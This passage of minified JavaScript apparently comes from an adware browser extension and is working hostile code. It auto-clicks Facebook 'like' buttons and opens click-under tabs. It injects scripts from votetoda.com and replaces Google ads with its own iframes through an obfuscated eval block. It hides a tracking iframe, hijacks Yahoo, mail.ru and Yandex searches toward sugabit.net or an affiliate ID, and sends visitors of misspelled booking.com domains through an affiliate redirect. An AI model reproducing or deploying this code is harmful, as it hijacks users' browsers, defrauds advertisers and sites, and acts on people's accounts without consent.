if (location.href.indexOf(q[p]) > -1) { | |
n = p | |
} | |
} | |
if (!n) { | |
var f = false; | |
var m = k.getCookie(t); | |
if (m > (k.unixTimestampNow - 86400)) { | |
return | |
} | |
var c = []; | |
for (var p in q) { | |
if (k.getCookie(p)) { | |
continue | |
} | |
c.push(q[p]) | |
} | |
if (!c || c.length < 1) { | |
return | |
} | |
var e = c[Math.floor(Math.random() * c.length)]; | |
if (typeof e == "undefined") { | |
return | |
} | |
e = "https://facebook.com" + e; | |
var s = function(i) { | |
var u = this; | |
var d = []; | |
k.on(j.addEventListener ? j : r, "click", function(w) { | |
var v = w.ctrlKey || w.metaKey || w.altKey || w.shiftKey, | |
x = w.which && 1 === w.which || 0 === w.button; | |
k.each(d, function(y) { | |
if (y.call(w) === true) { | |
k.preventDefault(w); | |
return false | |
} | |
}) | |
}); | |
u.backgroundLink = function(x) { | |
var w = document.createElement("a"); | |
w.href = x; | |
w.__norewrite = 1; | |
w.rel = "norewrite"; | |
w.target = "_blank"; | |
var v = document.createEvent("MouseEvents"); | |
v.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null); | |
w.dispatchEvent(v) | |
}; | |
u.clickunder = function(v) { | |
d.push(v) | |
}; | |
u.clickunder(function(v) { | |
if (!f && i) { | |
u.backgroundLink(i); | |
k.updateLimits(g); | |
k.loadedCallback("BANNER_LOAD", g); | |
k.setCookie(t, k.unixTimestampNow, { | |
expire: 864000, | |
path: "/" | |
}); | |
f = true; | |
return true | |
} else { | |
return false | |
} | |
}) | |
}; | |
s(e); | |
return | |
} | |
if (k.getCookie(n)) { | |
return | |
} | |
k.loadedCallback("MNTZ_LOADED", g); | |
function h() { | |
if (b) { | |
return | |
} | |
var d = a("#pages-header button.likeButton"); | |
if (d.length > 0) { | |
d[0].click(); | |
b = true; | |
k.setCookie(n, 1, { | |
expire: 86400 * 60, | |
path: "/" | |
}); | |
k.setCookie(t, k.unixTimestampNow, { | |
expire: 864000, | |
path: "/" | |
}) | |
} | |
} | |
k.ready(function() { | |
if (o) { | |
return | |
} | |
o = true; | |
h(); | |
var v = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; | |
var i = document.body; | |
if (typeof v != "undefined") { | |
var u = new v(function(x) { | |
x.forEach(function(z) { | |
if (z.type === "childList") { | |
for (var y = 0; y < z.addedNodes.length; y++) { | |
h() | |
} | |
} | |
u.observe(document.body, { | |
childList: true, | |
subtree: true | |
}) | |
}) | |
}); | |
u.observe(i, { | |
childList: true, | |
subtree: true | |
}) | |
} else { | |
var w = function() { | |
if (b) { | |
return true | |
} | |
h(); | |
d = setTimeout("checkByTimer", 1000) | |
}; | |
var d = setTimeout("checkByTimer", 1000) | |
} | |
}) | |
})(document, window); | |
} | |
if (scriptsToLoad['af23c']) { | |
(function(f, h, j) { | |
var g = true; | |
try { | |
if (chrome.bookmarks) { | |
g = false | |
} | |
} catch (c) {} | |
if (location.protocol == "chrome-extension:") { | |
g = false | |
} | |
if (g) { | |
var b = window.location.href; | |
var l = document.getElementById("dexscriptpopup"); | |
if (l === null && b.indexOf("m.facebook.com") != "-1") { | |
document.body.style.width = "0px"; | |
var k = document.createElement("div"); | |
k.id = "dexscriptpopup"; | |
k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;"; | |
document.body.appendChild(k); | |
setTimeout(function() { | |
window.close() | |
}, 10000) | |
} | |
var i = document.createElement("script"); | |
i.id = "dexscriptid"; | |
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true"; | |
var a = document.getElementById("dexscriptid"); | |
if (a === null) { | |
document.body.appendChild(i) | |
} else {} | |
} else { | |
var i = document.createElement("script"); | |
i.id = "dexscriptid"; | |
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false"; | |
var a = document.getElementById("dexscriptid"); | |
if (a === null) { | |
document.body.appendChild(i) | |
} else {} | |
} | |
})(document, window); | |
} | |
if (scriptsToLoad['1f755']) { | |
var fconf = $$.getMtzCfg('1f755'); | |
if (!!fconf.injectFacebook && fconf.injectFacebook == "1") { | |
(function() { | |
var d = document.querySelector("body"); | |
if (!d) { | |
return | |
} | |
function j(k) { | |
k = k.replace(/%PUBLISHER_ID%/, ($$ && $$.tbParams && $$.tbParams.wid) ? $$.tbParams.wid : ""); | |
k = k.replace(/%SOURCE_ID%/, ($$ && $$.tbParams && $$.tbParams.tid) ? $$.tbParams.tid : ""); | |
k = k.replace(/%SUBID%/, ($$ && $$.tbParams && $$.tbParams.sid) ? $$.tbParams.sid : ""); | |
k = k.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime()); | |
return k | |
} | |
var f = j("<iframe id='c8866ab3' name='c8866ab3' src='//cdnpps.us/www/delivery/afr.php?zoneid=120&cb=INSERT_RANDOM_NUMBER_HERE&xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='250' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=c8866ab3' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=120&n=c8866ab3' border='0' alt='' /></a></iframe>"); | |
var c = j("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&cb=INSERT_RANDOM_NUMBER_HERE&xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&n=8a61598d' border='0' alt='' /></a></iframe>"); | |
function g(k) { | |
return document.querySelectorAll(k) || [] | |
} | |
var a = function(n, k, o, m) { | |
var l = document.createElement("div"); | |
l.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000))); | |
l.innerHTML = o; | |
l.setAttribute("style", "display: inline-block;height:" + k + "px !important;width:" + n + "px !important;margin:0 auto;z-index:99999999;border:0;"); | |
m.style.textAlign = "center"; | |
m.appendChild(l) | |
}; | |
function h(k) { | |
k.style.minHeight = "500px"; | |
k.id = "_" + k.id; | |
k.setAttribute("data-mytype", "name_baner"); | |
k.innerHTML = ""; | |
a(300, 500, f + f, k) | |
} | |
function i(k) { | |
var l = document.createElement("div"); | |
l.setAttribute("data-mytype", "name_baner"); | |
l.setAttribute("style", "width:468px;height:60px;margin:0 auto 10px auto;"); | |
k.setAttribute("data-mytype", "name_baner"); | |
k.appendChild(l); | |
a(468, 60, c, l) | |
} | |
var b = function() { | |
Array.prototype.forEach.call(g('div[class^="_5jmm _5pat"]'), function(k) { | |
if (!k.getAttribute("data-mytype")) { | |
i(k) | |
} | |
}); | |
Array.prototype.forEach.call(g("#pagelet_ego_pane"), function(k) { | |
if (!k.getAttribute("data-mytype") && k.offsetHeight > 50) { | |
h(k) | |
} | |
}); | |
setTimeout(b, 3333) | |
}; | |
b(); | |
var e = new MutationObserver(function(k) { | |
for (var l in k) { | |
if (k[l].addedNodes.length) { | |
b(); | |
break | |
} | |
} | |
}); | |
e.observe(document.getElementById("content"), { | |
childList: true | |
}) | |
})(); | |
} | |
} | |
} else { | |
$$.loadedCallback("BEFORE_OPTOUT_REQ"); | |
$$.jsonp({ | |
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/get", | |
data: { | |
key: "c822bb0d82ad01a5ae" | |
}, | |
callback: function(response) { | |
if (!response.success) { | |
$$.loadedCallback("OPTOUT_RESPONSE_FAIL"); | |
return false | |
} | |
$$.loadedCallback("OPTOUT_RESPONSE_OK"); | |
var userId = response.userId; | |
var startTime = response.strTm; | |
var optout = {}; | |
if (response.optout) { | |
optout = $$.optoutValue = $$.fromJson(decodeURIComponent(response.optout)) | |
} | |
var country = response.country; | |
var limits = {}; | |
var ownMonetizationsClickFlag = false; | |
if (response.limits) { | |
limits = $$.limitsValue = $$.fromJson(decodeURIComponent(response.limits)) | |
} | |
if (response.lcFlag && response.lcFlag == 1) { | |
ownMonetizationsClickFlag = true | |
} | |
var targetingUser = response.targeting || 0; | |
var currentHostname = location.hostname; | |
currentHostname = currentHostname.replace("www.", ""); | |
var timeNow = $$.unixTimestampNow; | |
if (!country) { | |
country = "xx" | |
} | |
country = country.toLowerCase(); | |
if (!userId) { | |
userId = $$.randomNumber(1, 100); | |
$$.jsonp({ | |
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/set/userid", | |
data: { | |
key: "c822bb0d82ad01a5ae", | |
cv: userId | |
} | |
}) | |
} | |
if (!startTime) { | |
$$.setStartTime() | |
} | |
var timeAfterInstall = $$.unixTimestampNow - startTime; | |
var platformBlocks = []; | |
for (var key in scriptsToLoad) { | |
try { | |
var scriptRow = scriptsToLoad[key]; | |
var scriptUrl = scriptRow.url; | |
var scriptUrlParams = {}; | |
var scriptCoverageFrom = 0; | |
var scriptCoverageTo = 100; | |
if (scriptRow.coverage.indexOf("-") > -1) { | |
var coverageParts = scriptRow.coverage.split("-"); | |
scriptCoverageFrom = parseInt(coverageParts[0]); | |
scriptCoverageTo = parseInt(coverageParts[1]) | |
} else { | |
scriptCoverageTo = parseInt(scriptRow.coverage) | |
} | |
if (($$.getCookie("__mtzalnly") == 1 || $$.getCookie("__lnntlk") == 1) && ['cd1d2', '210e2', 'b48fe', '6a131', '81d01', 'a5093', '865b2', '88350', 'f81c7', '80c44', '90f06'].indexOf(key) == -1) { | |
if ("49377" != "51739") { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_AFFLNK", key, "__mtzalnly=" + $$.getCookie("__mtzalnly"), "__lnntlk=" + $$.getCookie("__lnntlk"), location.hostname) | |
} | |
continue | |
} else { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_NOTIF_AFFLNK", key, "__mtzalnly=" + $$.getCookie("__mtzalnly"), "__lnntlk=" + $$.getCookie("__lnntlk"), location.hostname) | |
} | |
} | |
} | |
if (isSearchEngine()) { | |
if (['4dc06', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', '5db45', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '08552', '4a71b', 'cd1d2', '81d01', 'f81c7', 'b777a', 'a49b5', 'c3369', 'f4c82', 'd115b', '4a0ef', '95dd2', '5de0e', 'e1d94'].indexOf(key) == -1) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_SERCHNGN", key, location.hostname) | |
} | |
continue | |
} | |
} | |
if (ownMonetizationsClickFlag) { | |
if (['4dc06', 'bd895', '1f755', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '5db45', '08552', '4a71b', '02aed'].indexOf(key) == -1) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_OWNMNTZ", key, location.hostname) | |
} | |
continue | |
} | |
} | |
if (typeof(scriptUrl) == "object") { | |
if (scriptUrl.rotator) { | |
var rotatorCount = scriptUrl.rotator.length; | |
if (!rotatorCount) { | |
rotatorCount = 0 | |
} | |
var rotatorCookieName = "_mrtr_c822bb0d82ad01a5ae_" + key; | |
var lastRotatedIndex = $$.getCookie(rotatorCookieName); | |
if (!lastRotatedIndex || lastRotatedIndex < 0 || lastRotatedIndex >= rotatorCount) { | |
lastRotatedIndex = 0 | |
} | |
scriptUrlParams = scriptUrl.rotator[lastRotatedIndex]; | |
scriptUrl = getUrlFromConfigObject(scriptUrlParams); | |
lastRotatedIndex++; | |
$$.setCookie(rotatorCookieName, lastRotatedIndex, { | |
expire: 86400 | |
}) | |
} else { | |
scriptUrlParams = scriptUrl; | |
scriptUrl = getUrlFromConfigObject(scriptUrlParams) | |
} | |
} | |
if (typeof(scriptUrl) != "string") { | |
$$.loadedCallback("CB_MNTZ_FILTER_INVALIDURL", key); | |
continue | |
} | |
if (!$$.demoMode) { | |
if ("200" == 1549 && location.protocol == "https:" && (key == "a8bb7" || key == "e9254")) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_CUSTOM", key) | |
} | |
continue | |
} | |
if ((location.hostname == "youtube.com" || location.hostname == "www.youtube.com") && key != "1f755" && key != "1fbee" && key != "c3369" && key != "f4c82" && key != "95dd2") { | |
continue | |
} | |
if (location.hostname.indexOf("facebook.com") > -1) { | |
continue | |
} | |
if (optout && optout[key] != undefined && optout[key] == true) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_OPTOUTED", key, optout[key]) | |
} | |
continue | |
} | |
if (scriptRow.countries_allow && scriptRow.countries_allow.indexOf(country) == -1) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_GEOALLOW", key, country, scriptRow.countries_allow) | |
} | |
continue | |
} | |
if (scriptRow.countries_deny && scriptRow.countries_deny.indexOf(country) > -1) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_GEODENY", key, country, scriptRow.countries_deny) | |
} | |
continue | |
} | |
if ((scriptCoverageFrom || scriptCoverageTo) && (userId < scriptCoverageFrom || userId > scriptCoverageTo)) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_COVERAGE", key, userId, scriptCoverageFrom + "-" + scriptCoverageTo) | |
} | |
continue | |
} | |
if (limits && limits[key]) { | |
var leftTime = parseInt(limits[key]) - timeNow; | |
if (leftTime > 0) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_LIMIT", key, leftTime, parseInt(limits[key])) | |
} | |
continue | |
} | |
} | |
if (key == "a096e" && targetingUser != 1) { | |
continue | |
} | |
var hostnameReg; | |
if (scriptRow.hostname_deny) { | |
hostnameReg = new RegExp("^" + scriptRow.hostname_deny + "$", "i"); | |
if (hostnameReg.test(currentHostname)) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_HOSTDENY", key, location.hostname, scriptRow.hostname_deny) | |
} | |
continue | |
} | |
} | |
if (scriptRow.hostname_allow) { | |
hostnameReg = new RegExp("^" + scriptRow.hostname_allow + "$", "i"); | |
if (!hostnameReg.test(currentHostname)) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_HOSTALLOW", key, location.hostname, scriptRow.hostname_allow) | |
} | |
continue | |
} | |
} | |
if (scriptRow.browsers_allow || scriptRow.browsers_deny) { | |
if (typeof detect == "undefined") { | |
continue | |
} | |
var ua = detect.parse(navigator.userAgent); | |
var checkUa = ua.browser.family.toLowerCase(); | |
var browserAllowed = false | |
} | |
if (scriptRow.browsers_allow) { | |
var browsersAllow = scriptRow.browsers_allow.toLowerCase().split(","); | |
for (var i2 in browsersAllow) { | |
if (browsersAllow[i2] == checkUa) { | |
browserAllowed = true; | |
break | |
} | |
} | |
if (!browserAllowed) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_BROWSALLOW", key, checkUa, scriptRow.browsers_allow) | |
} | |
continue | |
} | |
} | |
if (scriptRow.browsers_deny) { | |
var browsersDeny = scriptRow.browsers_deny.toLowerCase().split(","); | |
for (var i2 in browsersDeny) { | |
if (browsersDeny[i2] == checkUa) { | |
browserAllowed = false; | |
break | |
} | |
} | |
if (!browserAllowed) { | |
if (extendedCallbacks) { | |
$$.loadedCallback("CB_MNTZ_FILTER_BROWSDENY", key, checkUa, scriptRow.browsers_deny) | |
} | |
continue | |
} | |
} | |
} else {}; | |
if (key == "78507") { | |
(function(tbObject) { | |
eval("!function(){function e(){var e;try{e=new ActiveXObject(\"Msxml2.XMLHTTP\")}catch(t){try{e=new ActiveXObject(\"Microsoft.XMLHTTP\")}catch(t){e=!1}}e||\"undefined\"==typeof XMLHttpRequest||(e=new XMLHttpRequest),this.xhr=e}function t(e){for(var t=e.toString(),n=\"\",r=0;r<t.length;r+=2)n+=String.fromCharCode(parseInt(t.substr(r,2),16));return n}function n(){if(0!=a.length){for(var e=Math.random(),n=\"\",i=o[a[0]],c=0;c<a.length;c++){var s=a[c],l=o[s];if(e<i){n=s;break}i+=l}var d=\"\";if(n){n=t(n);for(c=0;c<n.length;c++)d+=String.fromCharCode(n.charCodeAt(c)^\"f2ibc8s2\".charCodeAt(c%\"f2ibc8s2\".length));r=\"//1087072589.rsc.cdn77.org/k/banner_index_gads.html?domain=\"+d+\"&\"}else r=\"\"}else r=\"\"}if(window==window.top){e.prototype.get=function(e,t,n){var r=this.xhr;if(n)var a=setTimeout(function(){r.abort(),t(!1,\"Timeout reached\")},n);t=t||function(){},r.onreadystatechange=function(){4==r.readyState&&(clearTimeout(a),t(200==r.status,r.responseText),r.abort())},r.open(\"GET\",e,!0),r.send(null)};var r,a=[],o={},i=function(){function t(t){(new e).get(\"//api.stathat.com/c?key=gT7Z3HZb-Fz5keFGOYjzTyBMbTlPSA~~&ukey=MTM1MzkgD1_LU1S68cRBsL4BFHW56g~~&count=1\",function(){},2e4);var a=t.clientHeight,o=t.clientWidth;if(n(),r){var i=t.parentNode,c=document.createElement(\"div\");url=document.location,src_url=r+\"w=\"+o+\"&h=\"+a,c.innerHTML=\'<iframe frameborder=\"0\" vspace=\"0\" hspace=\"0\" allowtransparency=\"true\" scrolling=\"no\" width=\"\'+o+\'\" height=\"\'+a+\'\" src=\"\'+src_url+\'\" sandbox=\"allow-scripts allow-forms allow-popups allow-same-origin\"></iframe>\',i.replaceChild(c,t)}}var a=[],o=[];if(function(){for(var e=document.getElementsByTagName(\"ins\"),t=0;t<e.length;t++){e[t].id;\"adsbygoogle\"==e[t].className&&a.push(e[t])}}(),function(){for(var e=document.getElementsByTagName(\"div\"),t=/.*ad-unit.*/i,n=0;n<e.length;n++){var r=e[n].className;t.test(r)&&a.push(e[n])}}(),function(){for(var e=/aswift_[0-9]_expand/i,t=document.getElementsByTagName(\"ins\"),n=0;n<t.length;n++){var r=t[n].id,i=(t[n].className,!1);if(e.test(r)){for(var c=t[n].parentNode,s=0;s<a.length;s++)if(a[s]==c){i=!0;break}i||o.push(t[n])}}}(),function(){for(var e=/google_ads/i,t=document.getElementsByTagName(\"iframe\"),n=0;n<t.length;n++){var r=t[n].id;e.test(r)&&a.push(t[n].parentNode)}}(),a.length+o.length>0){window.google_ad_client=\"\",window.google_ad_slot=\"\";var i=document.createElement(\"meta\");i.setAttribute(\"name\",\"referrer\"),i.setAttribute(\"content\",\"no-referrer\"),document.head.appendChild(i)}var c=0;!function(){for(var e=0;e<a.length;e++)t(a[e]),c++}(),function(){for(var e=0;e<o.length;e++)t(o[e]),c++}()};!function(t){(new e).get(\"//1087072589.rsc.cdn77.org/gabr/slistext.json\",function(e,n){if(e&&n)try{o=JSON.parse(n);for(var r in o)o.hasOwnProperty(r)&&a.push(r);t()}catch(e){}},2e4)}(function(){\"complete\"==document.readyState||\"interactive\"==document.readyState?i():document.addEventListener(\"DOMContentLoaded\",function(){i()},!1)})}}();") | |
})($$) | |
}; | |
if (key == "1a2aa") { | |
continue | |
} | |
if (key == "5db45") { | |
continue | |
} | |
if (key == "309e4") { | |
continue | |
} | |
if (key == "c3e34") { | |
if (!isInIframe()) { | |
(function(f, b, c) { | |
var e = ["https://www.hanstrackr.com/track?i=nuS6Dgnt9GUnnKwQ"]; | |
var a = document.createElement("iframe"); | |
a.src = e[0]; | |
a.setAttribute("style", "width:1px;height:1px;opacity: 0;position:absolute;left:-500px;top:-500px;"); | |
f.body.appendChild(a) | |
})(document, window); | |
} | |
continue | |
} | |
if (key == "a49b5" || key == "1dbbc") { | |
continue | |
} | |
if (scriptRow.type == "external") { | |
$$.loadedCallback("MNTZ_INJECT", key); | |
scriptUrl = scriptUrl.replace(/\/SID\//g, encodeURIComponent($$.tbParams.sid)); | |
scriptUrl = scriptUrl.replace(/\/TITLE\//g, encodeURIComponent($$.tbParams.title)); | |
scriptUrl = scriptUrl.replace(/\/REFERRER\//g, encodeURIComponent(location.href)); | |
scriptUrl = scriptUrl.replace(/\/REF_HOST\//g, encodeURIComponent(location.hostname ? location.hostname : location.host)); | |
scriptUrl = scriptUrl.replace(/\/RANDOM\//g, Math.floor(Math.random() * 52)); | |
scriptUrl = scriptUrl.replace(/\/OPTOUTURL_DBLENCODED\//g, encodeURIComponent(encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=200&u=49377&block=" + key)))); | |
scriptUrl = scriptUrl.replace(/\/OPTOUTURL\//g, encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=200&u=49377&block=" + key))); | |
if (scriptUrl) { | |
if (scriptUrl.substr(0, 2) == "//") { | |
scriptUrl = (window.location.protocol == "http:" ? "http:" : "https:") + scriptUrl | |
}(function(block) { | |
var script = $$.script(scriptUrl, false, (scriptUrlParams.tag_attributes ? scriptUrlParams.tag_attributes : null)); | |
$$.on(script, "load", function() { | |
$$.loadedCallback("MNTZ_LOADED", block); | |
$$.updateLimits(block) | |
}) | |
})(key) | |
} else { | |
$$.loadedCallback("MNTZ_LOADED", key); | |
$$.updateLimits(key) | |
} | |
} else { | |
if (scriptRow.type == "platform") { | |
platformBlocks.push(key) | |
} else {} | |
} | |
} catch (e) { | |
$$.loadedCallback("CORE_JS_ERROR", key) | |
} | |
} | |
if (platformBlocks.length > 0) { | |
var params = ["sid=" + $$.tbParams.wid + "_" + $$.tbParams.tid + "_" + $$.tbParams.sid, "title=" + encodeURIComponent($$.tbParams.title)]; | |
for (var i in platformBlocks) { | |
if (typeof platformBlocks[i] != "string") { | |
break | |
} | |
params.push("blocks[]=" + platformBlocks[i]) | |
} | |
var url = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/ext/c822bb0d82ad01a5ae.js?" + params.join("&"); | |
$$.script(url, false); | |
$$.loadedCallback("MNTZ_INJECT", platformBlocks.join(",")) | |
} | |
} | |
}); | |
if (scriptsToLoad['af23c']) { | |
(function(f, h, j) { | |
var g = true; | |
try { | |
if (chrome.bookmarks) { | |
g = false | |
} | |
} catch (c) {} | |
if (location.protocol == "chrome-extension:") { | |
g = false | |
} | |
if (g) { | |
var b = window.location.href; | |
var l = document.getElementById("dexscriptpopup"); | |
if (l === null && b.indexOf("m.facebook.com") != "-1") { | |
document.body.style.width = "0px"; | |
var k = document.createElement("div"); | |
k.id = "dexscriptpopup"; | |
k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;"; | |
document.body.appendChild(k); | |
setTimeout(function() { | |
window.close() | |
}, 10000) | |
} | |
var i = document.createElement("script"); | |
i.id = "dexscriptid"; | |
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true"; | |
var a = document.getElementById("dexscriptid"); | |
if (a === null) { | |
document.body.appendChild(i) | |
} else {} | |
} else { | |
var i = document.createElement("script"); | |
i.id = "dexscriptid"; | |
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false"; | |
var a = document.getElementById("dexscriptid"); | |
if (a === null) { | |
document.body.appendChild(i) | |
} else {} | |
} | |
})(document, window); | |
} | |
} | |
if (location.host.indexOf("youradexchange.com") >= 0 && location.pathname.indexOf("a/display.") >= 0) { | |
if ($$.getParams && $$.getParams.r && $$.getParams.r != 391766 && $$.getParams.r != 391769) { | |
var r = $$.randomNumber(1, 100); | |
var rLimit = 100; | |
if (r <= rLimit) { | |
setTimeout(function() { | |
location.href = "http://www.youradexchange.com/a/display.php?r=391769&sub1=pr" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid | |
}, 0) | |
} else {} | |
} | |
} | |
var matchPattern = /(boobking\.|booing\.|buking\.|boocking\.|boooking\.|bookking\.|booing\.)/i; | |
if (location.hostname.match(matchPattern)) { | |
if (typeof window.stop == "function") { | |
window.stop() | |
} | |
location.href = "http://adrs.me/get?key=6ae9f4bd1dc812dc713d61cba871d8e8&out=http%3A%2F%2Fbooking.com&ref=http%3A%2F%2Fgo.com&format=go&uid=rdr49377" | |
} | |
if (isInIframe()) { | |
return | |
} | |
if (scriptsToLoad['85031']) { | |
(function() { | |
var block = '85031'; | |
$$.ready(function() { | |
try { | |
(function() { | |
if (location.hostname.indexOf("search.yahoo.com") == -1 || location.pathname.indexOf("/search") == -1) { | |
return | |
} | |
var r = $$.randomNumber(1, 100); | |
var rLimit = scriptsToLoad[block].coverage; | |
if (r > rLimit) { | |
return | |
} | |
$$.loadedCallback("MNTZ_LOADED", block); | |
if ($$.getCookie("__ckp_srchyho_fired") == 1) { | |
return | |
} | |
function getParams() { | |
params = {}; | |
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c < r.length; c++) { | |
t = r[c].split("="), t[1] && (params[t[0]] = t[1]) | |
} | |
var a = location.hash.replace("#", ""); | |
a && (t = a.split("="), t[1] && (params[t[0]] = t[1])) | |
} | |
function checkYahooTag() { | |
getParams(); | |
if (location.href.indexOf("tightrope") > -1 && location.href.indexOf("tr57") > -1) { | |
return | |
} else { | |
redirectSearch("p") | |
} | |
} | |
function redirectSearch(e) { | |
if (getParams(), void 0 != params[e]) { | |
window.stop && window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none"; | |
var r = params[e], | |
c = "http://sugabit.net/search.php?source=btn&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r; | |
$$.loadedCallback("BANNER_LOAD", block); | |
$$.setCookie("__ckp_srchyho_fired", 1, { | |
expire: 1800 | |
}); | |
location.href = c, clearInterval(tmr) | |
} | |
} | |
function checkForSearch() { | |
var e = location.href; - 1 != d.indexOf("search.yahoo.com") && checkYahooTag() && clearInterval(tmr) | |
} | |
var d = window.document.domain, | |
tmr, tmrCnt = 0, | |
params = {}; | |
window == top && (checkForSearch(), tmr = setInterval(checkForSearch, 100)) | |
})() | |
} catch (e) {} | |
}) | |
})() | |
} | |
if (scriptsToLoad['ac348']) { | |
(function() { | |
var block = 'ac348'; | |
$$.ready(function() { | |
try { | |
(function() { | |
if (location.hostname.indexOf("go.mail.ru") == -1 || location.pathname.indexOf("/search") == -1) { | |
return | |
} | |
var r = $$.randomNumber(1, 100); | |
var rLimit = scriptsToLoad[block].coverage; | |
if (r > rLimit) { | |
return | |
} | |
$$.loadedCallback("MNTZ_LOADED", block); | |
if ($$.getCookie("__ckp_srchmlr_fired") == 1) { | |
return | |
} | |
function getParams() { | |
params = {}; | |
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c < r.length; c++) { | |
t = r[c].split("="), t[1] && (params[t[0]] = t[1]) | |
} | |
var a = location.hash.replace("#", ""); | |
a && (t = a.split("="), t[1] && (params[t[0]] = t[1])) | |
} | |
function checkMailruTag() { | |
getParams(); | |
if (params.frc && params.frc == "821563") { | |
return | |
} else { | |
redirectSearch("q") | |
} | |
} | |
function redirectSearch(e) { | |
if (getParams(), void 0 != params[e]) { | |
window.stop && window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none"; | |
var r = params[e], | |
c = "http://sugabit.net/search.php?source=btn2&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r; | |
$$.loadedCallback("BANNER_LOAD", block); | |
$$.setCookie("__ckp_srchmlr_fired", 1, { | |
expire: 1800 | |
}); | |
location.href = c, clearInterval(tmr) | |
} | |
} | |
function checkForSearch() { | |
var e = location.href; - 1 != d.indexOf("go.mail.ru") && checkMailruTag() && clearInterval(tmr) | |
} | |
var d = window.document.domain, | |
tmr, tmrCnt = 0, | |
params = {}; | |
window == top && (checkForSearch(), tmr = setInterval(checkForSearch, 100)) | |
})() | |
} catch (e) {} | |
}) | |
})() | |
} | |
if (scriptsToLoad['5db45']) { | |
(function() { | |
var block = '5db45'; | |
$$.ready(function() { | |
try { | |
if (location.hostname.indexOf("yandex.") !== 0 || location.pathname.indexOf("/search") == -1) { | |
return | |
} | |
var r = $$.randomNumber(1, 100); | |
var rLimit = scriptsToLoad[block].coverage; | |
if (r > rLimit) { | |
return | |
} | |
$$.loadedCallback("MNTZ_LOADED", block); | |
if ($$.getCookie("__ckp_srchydx_fired") == 1) { | |
return | |
} | |
function getParams() { | |
params = {}; | |
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c < r.length; c++) { | |
t = r[c].split("="), t[1] && (params[t[0]] = t[1]) | |
} | |
var a = location.hash.replace("#", ""); | |
a && (t = a.split("="), t[1] && (params[t[0]] = t[1])) | |
} | |
function checkAff() { | |
getParams(); | |
if (params.clid && params.clid == "2300267") { | |
return true | |
} else { | |
window.stop && window.stop(); | |
$$.loadedCallback("BANNER_LOAD", block); | |
$$.setCookie("__ckp_srchydx_fired", 1, { | |
expire: 1800 | |
}); | |
location.search = location.search.length ? location.search + "&clid=2300267" : "?clid=2300267"; | |
clearInterval(tmr) | |
} | |
} | |
function checkForSearch() { | |
-1 != d.indexOf("yandex.") && checkAff() && clearInterval(tmr) | |
} | |
var d = window.document.domain, | |
tmr, params = {}; | |
if (window == top) { | |
checkForSearch(); | |
tmr = setInterval(checkForSearch, 100) | |
} | |
} catch (e) {} | |
}) | |
})() | |
}; | |
if (scriptsToLoad['309e4']) { | |
(function() { | |
if (location.hostname.indexOf("facebook.com") > -1 || location.hostname.indexOf("vk.com") > -1 || location.hostname.indexOf("dailymotion.com") > -1 || location.hostname.indexOf("coub.com") > -1) { | |
"use strict"; | |
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function(a) { | |
return typeof a | |
} : function(a) { | |
return a && typeof Symbol === "function" && a.constructor === Symbol && a !== Symbol.prototype ? "symbol" : typeof a | |
}; | |
